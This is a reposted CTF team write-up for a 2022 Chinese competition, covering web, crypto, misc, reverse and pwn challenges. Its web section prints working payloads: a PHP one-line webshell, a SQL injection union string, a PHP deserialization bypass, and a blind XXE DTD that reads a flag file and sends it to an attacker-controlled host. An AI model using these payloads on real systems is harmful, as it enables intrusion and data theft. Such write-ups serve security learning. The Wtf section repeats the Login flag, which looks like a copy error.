金盾杯2022-AGCTFS战队 wp

2022-12-23 09:02 336人阅读评论(0)

文章目录

Web
- 图书馆
- EzPHP
- eZphp2
- SQL
- Skip
- 有来无回
- 反败为胜
Crypto
- 小菜一碟
- RRSSAA
- simpleR
- rand
MISC
Reverse
- Tea
Pwn
- Login
- Wtf

Web

图书馆

根据提示找到

干货｜最全的Tomcat漏洞复现笔记 - 腾讯云开发者社区-腾讯云 (tencent.com)

然后文件上传即可

EzPHP

扫目录得到index.php.bak文件,代码审计，长度小于20，且禁了许多函数，只能先查看目录，然后找flag位置。

木马文件写入，凑了一个

<?=$_GET[2]($_GET[1]);

利用[绕过_，传入木马。

利用assert命令执行。

得到flag：flag{d41d48e8-e84b-4521-963d-a4258d529eff}

eZphp2

发现源码

然后还是传入木马，这次要18位，但eval没被禁。

SQL

SQL注入，直接给了代码，用

二次url编码绕过。

Payload：

?id=-1%2527union+select+1,2,(select+flag%20from%20is_this_flag)%23

Skip

之前见到过类似的，直接用脚本

import requests

url ='http://59.110.213.14:56935/?'+'x=1&'*999+'proxy=foo'
re = requests.get(url)
print(re.text)

有来无回

题目提示了xxe.php,直接访问。

知道了是Blind XXE to build a OOB

在网上知道到相关内容

在自己的vps上搞一个feng.dtd，然后监听9999端口

<!ENTITY % p1 SYSTEM "file:///tmp/flag.txt">
<!ENTITY % p2 "<!ENTITY xxe SYSTEM 'http://vps/pass=%p1;'>">
%p2;
~
直接打xxe
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/tmp/flag.txt">
<!ENTITY % hack SYSTEM " http://vps/feng.dtd">
%hack;
%dtd;
]>
<cys>&xxe;</cys>

反败为胜

Rc4解码，密钥为0626

得到源代码：

<?php
echo("ser.php: You find me!");
class ouo{
   
    private $ser_code = "ser";
    function __destruct(){
   
        if(!empty($this->ser_code)) {
   
            if($this->ser_code == "FLAG")
                echo ("{flag}");
            else
                die('Try Again!');
        }}
    function __wakeup(){
   
        $this->ser_code=null;
    }
}
$ser_code = $_COOKIE['SER'];
unserialize($ser_code);
?>

简单的反序列化，绕过wakeup即可。

脚本：

<?php

class ouo{
   
    private $ser_code = "FLAG";
}
echo urlencode(serialize(new ouo))
?>

把1改成2，绕过wakeup

Payload：

O%3A3%3A%22ouo%22%3A1%3A%7Bs%3A13%3A%22%00ouo%00ser_code%22%3Bs%3A4%3A%22FLAG%22%3B%7D

Crypto

小菜一碟

网上找到脚本：

import gmpy2
import binascii
p = gmpy2.mpz(159303842369547814925693476555868814571858842104258697105149515713993443203825659998652654127374510196025599003730143012113707484839253123496857732128701609968752699400092431858926716649428960535283324598902169712222454699617671683675932795780343545970625533166831907970102480122242685830820463772025494712199)
q = gmpy2.mpz(172887845783422002789082420254687566789308973977854220003084208506942637236520298084569310184947609392615644191634749946917611949170216103380692838274627779684269566710195695515000492922000964163572308396664983937642827715821977706257150587395323556335081542987902463903436949141288429937432819003811354533477)
e = gmpy2.mpz(19999)
n=p*q
phi_n = (p-1)*(q-1)
d = gmpy2.invert(e, phi_n)
c = gmpy2.mpz(15176702963665501922403999221895690215282504333559191936777611319802899006788248557279808041449600021838150559750953924442905812928090845724972302802437464578850548068341807388913597120410841772162320682183999897958037105171055839318049584110106368746019307718322196559113348222485399508199250407930454163630320204931310511881428526650112302088935473691025195368688328619506405195638348814876023324965555774105055157166629768444387302211760448217666053342945412276047036106026882600555168611384975424201854134312678053294600373283558738680924405596407956073538019064806588050349192904553467435863806385634189342027395)
m = pow(c, d, n)
m_hex = hex(m)[2:]
print("%s"%(binascii.a2b_hex(m_hex).decode("utf8"),))

RRSSAA

共模攻击，网上找到了脚本。

CTF-RSA_共模攻击原理及脚本_风二西的博客-CSDN博客_共模攻击

#coding:utf-8
import gmpy2
import libnum

p= 123458435421261543472541524199731235574048053128601592828113156858256897602409067025674231465244054181972626266583815939142097971979228583114373452753144521115603696730578184251357134599421315099599143482519027549135311948601114584919768962463801005587816375776795616009077822359851656097169247116759791793687
q= 97276963771653114294115524925680580949385827322024790734418230303283861043696849155355518555652095559285163994241670550744000225618126658988929239870027266570376465899405972982196485923500560008192041570421590766719044249315069438249987024660117501456707638758202318116109860915440658403715058758393977149729
e1= 2333
c1= 3091063916228464455521357922299851945733179824012337598325935431151534388234889582934719097957211574031506425780821664489121712504278835046257494105641946435467664631146730786295351188439182841680768531937382787335943965667714937822280848763425350089235645289384375623655179569897238696408868150422651859781815376696756981788347283996647604511187607188051598692339333337644956875630361418916795600637518633591481197783209020148212167599700531242494401774503456200889355439781332887736926823527200546226966803759767490748143939212274369822333951327997518975975960530675198444178464821237247544413301735105551687502988
e2= 23333
c2= 3020828772115226887000015133333821282592051548686903232559679837758040530392014545308146746971372113818852623844807332306519066119345705458457237902473211958279079988876840270162881686132679217898982958235064386584289972304614458185165683014776410738885399792032602501638437880558924737680288329872135075375340246371405482850885777367009879733890398886462506917356919767329145462495699851367240387357485822078838863882442289942481376842591016730244281710044592948116573144325447524357995553176271890557769659239135878101020400056503293673886968120697821156927485992635172356908737486318910095798432613528160497925715
n=p*q

def rsa_gong_N_def(e1,e2,c1,c2,n):
    e1, e2, c1, c2, n=int(e1),int(e2),int(c1),int(c2),int(n)
    print("e1,e2:",e1,e2)
    print(gmpy2.gcd(e1,e2))
    s = gmpy2.gcdext(e1, e2)
    print(s)
    s1 = s[1]
    s2 = s[2]
    if s1 < 0:
        s1 = - s1
        c1 = gmpy2.invert(c1, n)
    elif s2 < 0:
        s2 = - s2
        c2 = gmpy2.invert(c2, n)
    m = (pow(c1,s1,n) * pow(c2 ,s2 ,n)) % n
    return int(m)
m = rsa_gong_N_def(e1,e2,c1,c2,n)
print(m)
print(libnum.n2s(int(m)).decode())

simpleR

简单的RSA。

脚本

import gmpy2
import libnum

e=2
c=3136716033731914452763044128945241240021620048803150767745968848345189851269112855865110275244336447973330360214689062351028386721896599362080560109450218446175674155425523734453425305156053870568600329

a = int(gmpy2.isqrt(c))
b = libnum.n2s(a)

print(b)

rand

直接跑脚本：

import random
import time

a = 881235169941718345882433419366
t = time.mktime(time.strptime("2022-12-10 10:30:50", "%Y-%m-%d %H:%M:%S"))
random.seed(t)
rand = random.randint(0, 10 ** 30)
x = rand
flag = a ^ x
print(flag)

MISC

盗梦空间

使用随波逐流工具，多次base家族解码得到逆序flag

在线逆序

Flag：

flag{ILoveBeiJingTianAnMen}

qianda0_Sudoku

有数为1，空格为0

Flag：flag{sud0ku_fuN}

数据泄露01-账号泄露追踪

在github中找到了

GitHub - tanyiqu66/hongxiangjiao

在项目里得到了

所以flag为：flag{GBUfty0vMqlrGOdE}

数据泄露02-泄露的密码

关于红香蕉APP接口异常问题 - tanyiqu66 - 博客园 (cnblogs.com)

的到红香蕉的超级密码。

Flag为： flag{redbanana2022sss}

数据泄露03-泄露的密钥

又搜到了吴硕 - 知乎 (zhihu.com)

得到key

Flag为: flag{51d0a99c-752e-11ed-b5a7-44af28a75237}

Reverse

Tea

Ida64打开

跟进sub_140001000

根据文件名称推测该算法为xxtea加密

参考https://www.jianshu.com/p/4272e0805da3 中xxtea脚本稍作修改

#include <stdio.h>
#include <stdint.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))

void btea(uint32_t* v, int n, uint32_t const key[4])
{
   
    uint32_t y, z, sum;
    unsigned p, rounds, e;
    if (n > 1)            /* Coding Part */
    {
   
        rounds = 6 + 52 / n;
        sum = 0;
        z = v[n - 1];
        do
        {
   
            sum += DELTA;
            e = (sum >> 2) & 3;
            for (p = 0; p < n - 1; p++)
            {
   
                y = v[p + 1];
                z = v[p] += MX;
            }
            y = v[0];
            z = v[n - 1] += MX;
        } while (--rounds);
    }
    else if (n < -1)      /* Decoding Part */
    {
   
        n = -n;
        rounds = 6 + 52 / n;
        sum = rounds * DELTA;
        y = v[0];
        do
        {
   
            e = (sum >> 2) & 3;
            for (p = n - 1; p > 0; p--)
            {
   
                z = v[p - 1];
                y = v[p] -= MX;
            }
            z = v[n - 1];
            y = v[0] -= MX;
            sum -= DELTA;
        } while (--rounds);
    }
}

int main()
{
   
    uint32_t v[9] =  {
    0x6456DD95 ,0x2A41FD67 ,0x0AFE574A5 ,0x4BFA8D72 ,0x0E2BF316F ,0x166B34BD ,0x6232283A ,0x4A1A8794 ,0x0D591779B };
    uint32_t v8[4] = {
    0x5571CB4E ,0xC38A9D2F ,0x1D835B62,0x93C3DC19 };
    int n = 9;
    btea(v, -n, v8);
    for (int i = 0; i < 9; i++) {
   
        for (int j = 0; j < 4; j++) {
   
            printf("%c", v[i]);
            v[i] >>=8;
        }
    }
    return 0;
}

运行得Flag：flag{3430DF69-C220-40F9-9667-2B8C4A2FE6E9}

Pwn

Login

原题pwnable 笔记 Rookiss - simple login - 50 pt_TaQini852的博客-CSDN博客

参考原题写出脚本

运行后在home/pwn目录下找到flag

Flag：flag{wel30me_t0_l0g1n}

Wtf

nc后知运行顺序为python先elf后

ida64分析elf

输入-1能使其一直读入，直到遇到回车，溢出点为a1，a1在主函数控制覆盖返回地址为win函数缓冲区一共是4096，加上-1和\n，扣掉就是4094。填满输入缓冲区，可读取payload。

编写脚本

运行得flag

运行后在home/pwn目录下找到flag

Flag：flag{wel30me_t0_l0g1n}

转载：https://blog.csdn.net/akxnxbshai/article/details/128390832

查看评论

飞道的博客